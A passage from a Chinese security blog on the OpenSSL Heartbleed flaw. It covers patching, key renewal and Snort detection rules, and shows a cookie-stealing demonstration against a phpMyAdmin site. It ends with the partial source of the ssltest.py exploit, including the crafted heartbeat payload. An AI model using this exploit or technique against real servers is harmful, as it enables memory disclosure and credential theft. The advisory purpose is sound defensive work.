href="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-03-check-ssl-heartbleed.pl.png"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-03-check-ssl-heartbleed.pl.png" alt="利用 check-ssl-heartbleed.pl 來檢查伺服器是否有 heartbleed 問題。" title="利用 check-ssl-heartbleed.pl 來檢查伺服器是否有 heartbleed 問題。" /></a></p> <p>如果使用「-R」參數並且指定特定的正規表示式,可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例,我們知道這個網站提供 <a href="http://www.phpmyadmin.net">phpMyAdmin</a> 套件,因此直接鎖定「pmaPass」資料來抓取,沒想到第一次就抓到了。</p> <p><a href="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-04-check-ssl-heartbleed.pl-data.png"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-04-check-ssl-heartbleed.pl-data.png" alt="利用 check-ssl-heartbleed.pl 抓出特定機敏資料。" title="利用 check-ssl-heartbleed.pl 抓出特定機敏資料。" /></a></p> <p>接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中,就可以如影片中盜用這個帳號。是否很危險呢?</p> <p>除了這種利用方法之外,還有更多情況是直接把使用者登入的帳號密碼直接顯示出來的,因此如果伺服器沒有做好防禦或更新,整個網站的使用者資料都可以因此外洩。這也是為什麼我們一直強調伺服器管理者必須要更新金鑰、全站使用者帳號密碼等,以防有心人士借此撈取資料。</p> <h3 id="誰在利用-heartbleed-漏洞竊取資料呢">誰在利用 Heartbleed 漏洞竊取資料呢?</h3> <p>由 github 上面的 <a href="https://github.com/openssl/openssl/commit/4817504d069b4c5082161b02a22116ad75f822b1">commit 記錄</a>,出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的,不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的<a href="http://www.bloomberg.com/news/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers.html">報導</a>指出,知情人士表示 NSA 早在<strong>兩年前</strong>就已經知道此漏洞,並且<strong>利用這個漏洞竊取許多網站的機敏資料</strong>。這代表 NSA 在一開始就知道這個漏洞,令人不禁有其他聯想。</p> <blockquote> <p>The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.</p> </blockquote> <p>在之前<a href="http://hitcon.org">台灣駭客年會 (HITCON)</a> 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了<a href="https://bitbucket.org/fb1h2s/cve-2014-0160/src/bba16b3eedef0e92bd91fea496b00c92eb515e29/Heartbeat_scanner.py?at=master">大量掃描 Heartbleed 漏洞的程式</a>,也可以供研究人員自行研究,或者是尋找自己管理的主機中有多少包含這個風險的。</p> <h3 id="常見問題">常見問題</h3> <h3 id="openssl-是什麼iis-會受-heartbleed-漏洞影響嗎">OpenSSL 是什麼?IIS 會受 Heartbleed 漏洞影響嗎?</h3> <p><a href="https://www.openssl.org">OpenSSL</a> 是一個函式庫(Library),在 UNIX 系列的服務若有使用 SSL,通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。</p> <h3 id="我使用-openssl-098太好了我用舊版我好安全">我使用 OpenSSL 0.9.8,太好了我用舊版我好安全!</h3> <p>你聽過 <a href="http://en.wikipedia.org/wiki/Transport_Layer_Security#BEAST_attack">BEAST</a>, <a href="http://en.wikipedia.org/wiki/BREACH_%28security_exploit%29">BREACH</a>, <a href="http://en.wikipedia.org/wiki/CRIME_%28security_exploit%29">CRIME</a>, <a href="http://www.isg.rhul.ac.uk/tls/Lucky13.html">Lucky 13</a> 嗎?</p> <h3 id="我沒有使用-https所以我很安全">我沒有使用 HTTPS,所以我很安全!</h3> <p>。。。</p> <h3 id="只有網頁伺服器http-server會受影響嗎">只有網頁伺服器(HTTP Server)會受影響嗎?</h3> <p>不只!只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍,包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。</p> <h3 id="只有自己架設的伺服器會受影響嗎">只有自己架設的伺服器會受影響嗎?</h3> <p>當然不只!目前已經出現各大設備廠商都遭遇到這樣的問題。各大設備廠商、作業系統等影響狀況,可以參閱以下文章。</p> <p>CERT: OpenSSL heartbeat extension read overflow discloses sensitive information <a href="http://www.kb.cert.org/vuls/byvendor?searchview&amp;Query=FIELD+Reference=720951&amp;SearchOrder=4">http://www.kb.cert.org/vuls/byvendor?searchview&amp;Query=FIELD+Reference=720951&amp;SearchOrder=4</a></p> <p>廠商的設備目前狀況特別嚴重,因為所有同個版本的設備都會受影響,而在廠商釋出更新之前,只能被動的等待更新。若沒有繼續簽訂維護約的設備,也只能繼續跟廠商簽約更新,或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意,如果被攻擊者取得帳號密碼,等於如入無人之境,直接使用你的帳號登入到企業內網,不可不慎。</p> <h3 id="各家系統更新的速度">各家系統更新的速度?</h3> <p>引述自好朋友 Ant 的<a href="http://blog.gcos.me/2014-04-10_openssl-cve-2014-0160-security-issue.html">文章</a>,各家作業系統、網站的更新速度,代表著企業重視資安的程度以及針對資安事件緊急應變的效率,也可以作為我們挑選系統、網站、廠商的依據。</p> <blockquote> <p>二、作業系統的更新進度</p> <p>從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。 時間軸,按照修復的先後排列:</p> <ol> <li>OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。</li> <li>RedHat 在 2014年4月7日 07:47:00 正式修復。</li> <li>OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。</li> <li>OpenBSD 約在 2014年4月7日 20:17 正式修復。</li> <li>Arch Linux 約在 2014年4月7日 20:36 正式修復。</li> <li>Debian 約在 2014年4月7日 21:45 正式修復。</li> <li>FreeBSD 約在 2014年4月7日 21:46 正式修復。</li> <li>Ubuntu 約在 2014年4月7日 21:48 正式修復。 (2014年4月8日分隔區)</li> <li>Fedora 約在 2014年4月8日 00:33 正式修復。</li> <li>CentOS 約在 2014年4月8日 02:49 正式修復。</li> <li>OpenSUSE 約在 2014年4月8日 05:32 正式修復。</li> <li>Scentific 約在 2014年4月8日 08:27 正式修復。</li> <li>Gentoo 約在 2014年4月8日 09:36 正式修復。</li> </ol> <p>重點整理:</p> <ol> <li>RedHat 修復的速度比 OpenSSL 官方還快。</li> <li>RedHat 派系的修復時間,除了 RedHat 外都算慢,如 Fedora 及 CentOS、Scentific,他們都比 RedHat 慢 16 小時以上。</li> <li>Debian 派系的修復時間,如 Debian 及 Ubuntu,都比 RedHat 慢上至少 12 小時以上。</li> <li>Gentoo 是列表中修復最慢的。</li> <li>若以資安黃金 6 小時來說,Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。</li> </ol> <p>三、大公司更新的速度</p> <p>同樣地,從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。</p> <p>雲端相關公司</p> <ul> <li>Cloudflare 約在 2014年4月7日 11時修復。</li> <li>DigitalOcean 約在 2014年4月8日 12時修復。</li> <li>AWS 約在 2014年4月8日 12時修復。</li> <li>Linode 約在 2014年4月8日 14時修復。</li> <li>Heroku 約在 2014年4月8日 16時修復。</li> </ul> <p>有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天,也比上述機器數很多的雲端相關公司還慢。這些公司為,</p> <ul> <li>Yahoo.com / Flickr.com</li> <li>Kaspersky.com (資安公司)</li> <li>stackoverflow.com</li> <li>stackexchange .com</li> <li>php.net</li> </ul> </blockquote> <p>感謝 StackNG 的補充:Cloudflare 於 2014 年 4 月 7 日 11 時公告,但在漏洞公告之前已經修復。</p> <h3 id="目前還有哪些伺服器有問題呢">目前還有哪些伺服器有問題呢?</h3> <p>根據 <a href="https://zmap.io/">ZMap</a> 的<a href="https://zmap.io/heartbleed/">研究報告</a>指出,他們針對 <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">Alexa 前一百萬個網站</a>進行檢測,大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個<a href="https://zmap.io/heartbleed/vulnerable.html">完整的清單</a>列出在 2014/4/11 17:00 尚未修復漏洞的網站。</p> <p><a href="/assets/img/blog/20140411/s2560/2014-04-11-openssl-heartbleed-detail-06.png"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-06.png" alt="ZMap.io Heartbleed vulnerable domains" title="ZMap.io Heartbleed vulnerable domains" /></a></p> <h3 id="有什麼值得測試的網站呢">有什麼值得測試的網站呢?</h3> <p><a href="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-05.jpg"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-05.jpg" alt="OpenSSL Heartbleed with a beer!" title="OpenSSL Heartbleed with a beer!" /></a></p> <p>via <a href="https://www.facebook.com/photo.php?fbid=10201756684385494">Facebook</a></p> <h3 id="我要怎麼更新-openssl-呢">我要怎麼更新 OpenSSL 呢?</h3> <p>根據不同的 Linux Distribution 有不同的更新方式,若有自己客製化一些程式設定,可能就需要自行更新。以下我們簡單介紹更新步驟:</p> <p>RedHat / CentOS / Fedora 系列更新套件:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>yum update yum update openssl #只更新 OpenSSL </code></pre></div></div> <p>Debian / Ubuntu 系列更新套件:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt-get update sudo apt-get dist-upgrade </code></pre></div></div> <p>若只要更新 OpenSSL 則可以執行以下指令</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt-get install --only-upgrade openssl sudo apt-get install --only-upgrade libssl1.0.0 </code></pre></div></div> <p>注意 OpenSSL 是否已經更新為修復的版本:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rpm -q -a | grep "openssl" # RedHat dpkg -l | grep "openssl" # Debian </code></pre></div></div> <p>接著請記得撤銷原本的簽章金鑰,重新簽署,並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr </code></pre></div></div> <p>結束後記得重新啟動相關服務</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo service httpd restart # RedHat sudo service apache2 restart # Debian </code></pre></div></div> <p>最後再使用檢測工具看自己的網頁伺服器或其他相關服務是否已經不在漏洞受害範圍。</p> <h3 id="我無法更新我的伺服器我該怎麼在-ids-偵測攻擊呢">我無法更新我的伺服器,我該怎麼在 IDS 偵測攻擊呢?</h3> <p>若你使用 Snort IDS,官方已經釋出 SID 30510 到 30517 來偵測,並且在 Community Rules 中也有包含。 <a href="http://www.snort.org/snort-rules/#community">http://www.snort.org/snort-rules/#community</a></p> <figure class="highlight"><pre><code class="language-console" data-lang="console"><span class="gp">#</span><span class="w"> </span>SIDs 30510 through 30517 address detection of the heartbleed attack <span class="go"> </span><span class="gp">alert tcp $</span>EXTERNAL_NET any -&gt; <span class="nv">$HOME_NET</span> 443 <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER OpenSSL SSLv3 </span><span class="gp">heartbeat read overrun attempt";</span><span class="w"> </span><span class="s2">flow:to_server,established; content:"</span>|18 03 00|<span class="s2">"; </span><span class="gp">depth:3;</span><span class="w"> </span><span class="s2">dsize:&gt;40; detection_filter:track by_src, count 3, seconds 1; </span><span class="gp">metadata:policy balanced-ips drop, policy security-ips drop, service ssl;</span><span class="w"> </span><span class="gp">reference:cve,2014-0160;</span><span class="w"> </span><span class="s2">classtype:attempted-recon; sid:30510; rev:2;) </span><span class="go"> </span><span class="gp">alert tcp $</span>EXTERNAL_NET any -&gt; <span class="nv">$HOME_NET</span> 443 <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER OpenSSL TLSv1 </span><span class="gp">heartbeat read overrun attempt";</span><span class="w"> </span><span class="s2">flow:to_server,established; content:"</span>|18 03 01|<span class="s2">"; </span><span class="gp">depth:3;</span><span class="w"> </span><span class="s2">dsize:&gt;40; detection_filter:track by_src, count 3, seconds 1; </span><span class="gp">metadata:policy balanced-ips drop, policy security-ips drop, service ssl;</span><span class="w"> </span><span class="gp">reference:cve,2014-0160;</span><span class="w"> </span><span class="s2">classtype:attempted-recon; sid:30511; rev:2;) </span><span class="go"> </span><span class="gp">alert tcp $</span>EXTERNAL_NET any -&gt; <span class="nv">$HOME_NET</span> 443 <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER OpenSSL TLSv1.1 </span><span class="gp">heartbeat read overrun attempt";</span><span class="w"> </span><span class="s2">flow:to_server,established; content:"</span>|18 03 02|<span class="s2">"; </span><span class="gp">depth:3;</span><span class="w"> </span><span class="s2">dsize:&gt;40; detection_filter:track by_src, count 3, seconds 1; </span><span class="gp">metadata:policy balanced-ips drop, policy security-ips drop, service ssl;</span><span class="w"> </span><span class="gp">reference:cve,2014-0160;</span><span class="w"> </span><span class="s2">classtype:attempted-recon; sid:30512; rev:2;) </span><span class="go"> </span><span class="gp">alert tcp $</span>EXTERNAL_NET any -&gt; <span class="nv">$HOME_NET</span> 443 <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER OpenSSL TLSv1.2 </span><span class="gp">heartbeat read overrun attempt";</span><span class="w"> </span><span class="s2">flow:to_server,established; content:"</span>|18 03 03|<span class="s2">"; </span><span class="gp">depth:3;</span><span class="w"> </span><span class="s2">dsize:&gt;40; detection_filter:track by_src, count 3, seconds 1; </span><span class="gp">metadata:policy balanced-ips drop, policy security-ips drop, service ssl;</span><span class="w"> </span><span class="gp">reference:cve,2014-0160;</span><span class="w"> </span><span class="s2">classtype:attempted-recon; sid:30513; rev:2;) </span><span class="go"> </span><span class="gp">alert tcp $</span>HOME_NET 443 -&gt; <span class="nv">$EXTERNAL_NET</span> any <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER SSLv3 large </span><span class="gp">heartbeat response - possible ssl heartbleed attempt";</span><span class="w"> </span><span class="s2">flow:to_client,established; </span><span class="gp">content:"|18 03 00|";</span><span class="w"> </span><span class="s2">depth:3; byte_test:2,&gt;,128,0,relative; detection_filter:track </span><span class="gp">by_dst, count 5, seconds 60;</span><span class="w"> </span><span class="s2">metadata:policy balanced-ips drop, policy security-ips </span><span class="gp">drop, service ssl;</span><span class="w"> </span><span class="s2">reference:cve,2014-0160; classtype:attempted-recon; sid:30514; </span><span class="gp">rev:3;</span><span class="s2">) </span><span class="go"> </span><span class="gp">alert tcp $</span>HOME_NET 443 -&gt; <span class="nv">$EXTERNAL_NET</span> any <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER TLSv1 large </span><span class="gp">heartbeat response - possible ssl heartbleed attempt";</span><span class="w"> </span><span class="s2">flow:to_client,established; </span><span class="gp">content:"|18 03 01|";</span><span class="w"> </span><span class="s2">depth:3; byte_test:2,&gt;,128,0,relative; detection_filter:track </span><span class="gp">by_dst, count 5, seconds 60;</span><span class="w"> </span><span class="s2">metadata:policy balanced-ips drop, policy security-ips </span><span class="gp">drop, service ssl;</span><span class="w"> </span><span class="s2">reference:cve,2014-0160; classtype:attempted-recon; sid:30515; </span><span class="gp">rev:3;</span><span class="s2">) </span><span class="go"> </span><span class="gp">alert tcp $</span>HOME_NET 443 -&gt; <span class="nv">$EXTERNAL_NET</span> any <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER TLSv1.1 large </span><span class="gp">heartbeat response - possible ssl heartbleed attempt";</span><span class="w"> </span><span class="s2">flow:to_client,established; </span><span class="gp">content:"|18 03 02|";</span><span class="w"> </span><span class="s2">depth:3; byte_test:2,&gt;,128,0,relative; detection_filter:track </span><span class="gp">by_dst, count 5, seconds 60;</span><span class="w"> </span><span class="s2">metadata:policy balanced-ips drop, policy security-ips </span><span class="gp">drop, service ssl;</span><span class="w"> </span><span class="s2">reference:cve,2014-0160; classtype:attempted-recon; sid:30516; </span><span class="gp">rev:3;</span><span class="s2">) </span><span class="go"> </span><span class="gp">alert tcp $</span>HOME_NET 443 -&gt; <span class="nv">$EXTERNAL_NET</span> any <span class="o">(</span>msg:<span class="s2">"SERVER-OTHER TLSv1.2 large </span><span class="gp">heartbeat response - possible ssl heartbleed attempt";</span><span class="w"> </span><span class="s2">flow:to_client,established; </span><span class="gp">content:"|18 03 03|";</span><span class="w"> </span><span class="s2">depth:3; byte_test:2,&gt;,128,0,relative; detection_filter:track </span><span class="gp">by_dst, count 5, seconds 60;</span><span class="w"> </span><span class="s2">metadata:policy balanced-ips drop, policy security-ips </span><span class="gp">drop, service ssl;</span><span class="w"> </span><span class="s2">reference:cve,2014-0160; classtype:attempted-recon; sid:30517; </span><span class="gp">rev:3;</span><span class="s2">) </span></code></pre></figure> <h3 id="民眾與管理者應對措施">民眾與管理者應對措施</h3> <p>不少朋友來信、留言洽詢,到底自己該怎麼針對這次的漏洞應變?我們簡單就一般民眾以及系統管理者說明。</p> <h3 id="一般民眾應對措施">一般民眾應對措施</h3> <ul> <li>注意常用的重要網站服務,是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。</li> <li>若常用網站服務有遭遇此風險,記得更換帳號密碼。</li> <li>若這段時間有網站通知更換密碼,也請注意是否為釣魚信件。</li> <li>注意自己的帳號是否有異常活動。</li> <li>若使用的網站服務就是不更新,<strong>一天一信友善提醒管理者</strong>。</li> </ul> <h3 id="系統管理者應對措施">系統管理者應對措施</h3> <ul> <li>更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2,並密切注意有無後續更新。</li> <li>重新產生金鑰(Private Key 可能外洩)、Session(Session ID 可能外洩)、密碼(密碼也可能外洩),並且撤銷原本的金鑰。</li> <li>若無法更新,重新編譯 OpenSSL 以關閉 heartbeat 功能。</li> <li>使用 <a href="http://en.wikipedia.org/wiki/Forward_secrecy">Perfect Forward Secrecy (PFS)</a>,在未來類似風險發生時減低傷害。</li> </ul> <p>許多業者抱持著僥倖的心態,想說外洩的目標不會輪到自己。如果大家看到這幾天<strong>全世界資安人員 / 駭客不眠不休的撈取資料</strong>,應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天,就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器,並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線,不然還是請乖乖更新吧。</p> <h3 id="大事件大啟示">大事件,大啟示</h3> <p>還記得之前我們提到的「<a href="http://devco.re/blog/2014/03/14/3rd-party-software-security-issues/">使用第三方套件所要擔負的資安風險</a>」?這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤,或者是國家機器 NSA 的強力滲透,使用各種第三方的套件都需要承擔極大的風險。但可悲的是,我們卻無法不使用。從這次的事件我們可以學到幾件事情:</p> <ol> <li>不管哪種攻擊手法、多老舊的攻擊手法,在未來都可能會再度發生。</li> <li>程式碼的 review 非常重要,一定要在開發過程中導入程式碼 review 機制,以免開發者寫出含有安全疑慮的程式碼。</li> <li>加密、Session 控管、金鑰控管等議題,是永遠的課題。一天沒處理好,在未來的風險中會再度受害。</li> <li>風險永遠會發生在你猜不到的地方,可能是程式、可能是函式庫、<a href="http://technews.tw/2013/09/06/most-common-encryption-protocols-are-useless-against-nsa-surveillance/">可能是加密協定</a>、更可能是<a href="http://ckhung0.blogspot.tw/2014/03/dual-ec-drbg.html">亂數產生器</a>。</li> </ol> <p>不斷的增強資安意識、不停的分享新知、廠商做好資安控管及<a href="http://devco.re/services/penetration-test">安全檢測</a>、民眾對企業和政府要求資訊安全,集合大家的力量,是改善資安大環境的不二法門。</p> <p>你以為自己逃過一劫了嗎?也許你的身體已經血流如柱,而嗜血的鯊魚正游向你。</p> https://devco.re/blog/2014/04/11/openssl-heartbleed-how-to-hack-how-to-protect/ https://devco.re/blog/2014/04/11/openssl-heartbleed-how-to-hack-how-to-protect Fri, 11 Apr 2014 00:00:00 +0800 OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞 <h3 id="openssl-cve-2014-0160-嚴重漏洞">OpenSSL CVE-2014-0160 嚴重漏洞</h3> <p>OpenSSL 今天公告了一個極度嚴重的漏洞(<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160">CVE-2014-0160</a>),被稱為「<a href="http://heartbleed.com/">Heartbleed</a>」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。</p> <!-- more --> <p>詳細的分析可以參閱 <a href="http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html">existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug</a></p> <ul> <li>軟體名稱:OpenSSL</li> <li>影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1</li> <li>修復版本:1.0.1g / 1.0.2-beta2</li> <li>影響系統版本 <ul> <li>Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4</li> <li>Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11</li> <li>CentOS 6.5, OpenSSL 1.0.1e-15</li> <li>Fedora 18, OpenSSL 1.0.1e-4</li> <li>OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)</li> <li>FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013</li> <li>NetBSD 5.0.2 (OpenSSL 1.0.1e)</li> <li>OpenSUSE 12.2 (OpenSSL 1.0.1c)</li> </ul> </li> <li>影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務</li> </ul> <p>OpenSSL 的公告如下:<a href="https://www.openssl.org/news/secadv_20140407.txt">https://www.openssl.org/news/secadv_20140407.txt</a></p> <pre> A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server. Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1. </pre> <h3 id="如何自我檢測">如何自我檢測?</h3> <p>要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。</p> <ul> <li>Heartbleed test <a href="http://filippo.io/Heartbleed/">http://filippo.io/Heartbleed/</a></li> </ul> <p>直接輸入 Domain 即可查詢,例如「fbi.gov」。</p> <p><a href="/assets/img/blog/20140409/2014-04-08-openssl-heartbleed-CVE-2014-0160-01-fbi.gov.png"><img src="/assets/img/blog/20140409/2014-04-08-openssl-heartbleed-CVE-2014-0160-01-fbi.gov.png" alt="OpenSSL CVE-2014-0160 Heartbleed 檢測: fbi.gov" title="OpenSSL CVE-2014-0160 Heartbleed 檢測: fbi.gov" /></a></p> <ul> <li>自我測試工具 <a href="http://s3.jspenguin.org/ssltest.py">http://s3.jspenguin.org/ssltest.py</a> (或 <a href="http://pastebin.com/WmxzjkXJ">http://pastebin.com/WmxzjkXJ</a>)</li> </ul> <p>使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。</p> <p><a href="/assets/img/blog/20140409/2014-04-08-openssl-heartbleed-CVE-2014-0160-02-ifttt.png"><img src="/assets/img/blog/20140409/2014-04-08-openssl-heartbleed-CVE-2014-0160-02-ifttt.png" alt="OpenSSL CVE-2014-0160 Heartbleed 檢測: ifttt.com" title="OpenSSL CVE-2014-0160 Heartbleed 檢測: ifttt.com" /></a></p> <p>原始碼如下:</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python </span> <span class="c1"># Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. </span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">time</span> <span class="kn">import</span> <span class="nn">select</span> <span class="kn">import</span> <span class="nn">re</span> <span class="kn">from</span> <span class="nn">optparse</span> <span class="kn">import</span> <span class="n">OptionParser</span> <span class="n">options</span> <span class="o">=</span> <span class="n">OptionParser</span><span class="p">(</span><span class="n">usage</span><span class="o">=</span><span class="s">'%prog server [options]'</span><span class="p">,</span> <span class="n">description</span><span class="o">=</span><span class="s">'Test for SSL heartbeat vulnerability (CVE-2014-0160)'</span><span class="p">)</span> <span class="n">options</span><span class="p">.</span><span class="n">add_option</span><span class="p">(</span><span class="s">'-p'</span><span class="p">,</span> <span class="s">'--port'</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="s">'int'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">443</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'TCP port to test (default: 443)'</span><span class="p">)</span> <span class="k">def</span> <span class="nf">h2bin</span><span class="p">(</span><span class="n">x</span><span class="p">):</span> <span class="k">return</span> <span class="n">x</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">''</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span> <span class="n">hello</span> <span class="o">=</span> <span class="n">h2bin</span><span class="p">(</span><span class="s">''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 '''</span><span class="p">)</span> <span class="n">hb</span> <span class="o">=</span> <span class="n">h2bin</span><span class="p">(</span><span class="s">''' 18 03 02 00 03 01 40 00 '''</span><span class="p">)</span> <span class="k">def</span> <span class="nf">hexdump</span><span class="p">(</span><span class="n">s</span><span class="p">):</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="mi">16</span><span class="p">):</span> <span class="n">lin</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">[</span><span class="n">b</span> <span class="p">:</span> <span class="n">b</span> <span class="o">+</span> <span class="mi">16</span><span class="p">]]</span> <span class="n">hxdat</span> <span class="o">=</span> <span class="s">' '</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">'%02X'</span> <span class="o">%</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">lin</span><span class="p">)</span> <span class="n">pdat</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">((</span><span class="n">c</span> <span class="k">if</span> <span class="mi">32</span> <span class="o">&lt;=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">126</span> <span class="k">else</span> <span class="s">'.'</span> <span class="p">)</span><span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">lin</span><span class="p">)</span> <span class="k">print</span> <span class="s">' %04x: %-48s %s'</span> <span class="o">%</span> <span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">hxdat</span><span class="p">,</span> <span class="n">pdat</span><span class="p">)</span> <span class="k">print</span> <span class="k">def</span> <span class="nf">recvall</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">length</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span> <span class="n">endtime</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span> <span class="n">rdata</span> <span class="o">=</span> <span class="s">''</span> <span class="n">remain</span> <span class="o">=</span> <span class="n">length</span> <span class="k">while</span> <span class="n">remain</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span> <span class="n">rtime</span> <span class="o">=</span> <span class="n">endtime</span> <span class="o">-</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="k">if</span> <span class="n">rtime</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span> <span class="k">return</span> <span class="bp">None</span> <span class="n">r</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">e</span> <span class="o">=</span> <span 